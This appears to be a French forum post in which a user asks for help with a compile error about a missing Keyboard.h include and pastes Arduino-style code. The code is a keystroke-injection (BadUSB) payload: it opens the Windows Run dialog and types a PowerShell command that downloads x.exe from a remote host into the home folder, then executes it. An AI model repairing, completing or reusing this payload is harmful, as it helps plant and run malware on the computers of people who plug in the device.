bonjour, quand je compile mon code il me dit qu'il manque "#include <Keyboard.h>" pouvez vous m'aider s'il vous plait .
#include <Keyboard.h>
char *command1 = "powershell -Command $clnt = new-object System.Net.WebClient;$url= 'http://0.0.0.0/x.exe';$file = ' %HOMEPATH%\x.exe ';$clnt.DownloadFile($url,$file);";
char *command2 = "%HOMEPATH%\x.exe";
void setup() {
delay(5000);
omg(command1);
delay(15000);
// run this executable
omg(command2);
}
void loop() {}
void omg(char *SomeCommand)
{
Keyboard.set_modifier(128);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1500);
Keyboard.println(SomeCommand);
}